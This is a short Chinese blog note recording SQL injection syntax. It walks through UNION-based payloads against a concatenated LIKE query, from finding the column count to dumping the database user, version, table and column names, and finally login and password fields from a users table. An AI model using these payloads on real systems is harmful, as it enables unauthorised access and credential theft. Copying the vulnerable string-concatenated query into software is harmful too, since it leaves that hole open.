sql查询语句记录

在sql语句执行中,通常涉及到安全方面的问题,例如sql 注入等;该文章记录一些存在注入漏洞时,常用的一些sql 语法。

示例 1. 获取数据库用户信息

当后端使用了sql 字符串拼接的方式进行数据查询时:

# 后端原始查询语句
select * from movies where title like '%' + title + '%';

当输入 title 内容为 ’ union select 1,2 – 时,拼接后的 sql 语句如下:

select * from movies where title like '%' union select 1, 2 -- %';

如果movies表中列的个数不为 2 时,则会提示错误:
Error: The used SELECT statements have a different number of columns
逐次增加 1,2 的个数即可得出 movies 表的列个数 。

对 title 变量进行进一步修改,得到如下语句,将输出对应的user、版本等信息:

select * from movies where title like '%' union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() -- %';

从上面语句的执行结果可以看到全部的 table_name;假设输出中 table_name 列中有 users 表,则可以进一步拼接sql如下:

select * from movies where title like '%' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' -- %';

通过字段名称,可以找到敏感的列信息:

select * from movies where title like '%' union select 1,id,login,4,password,6,7 from users -- %';

这样就可以获取数据库中存储的用户信息,一切操作均是有输入引发,以此达到sql 注入攻击效果。

(待更新…)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值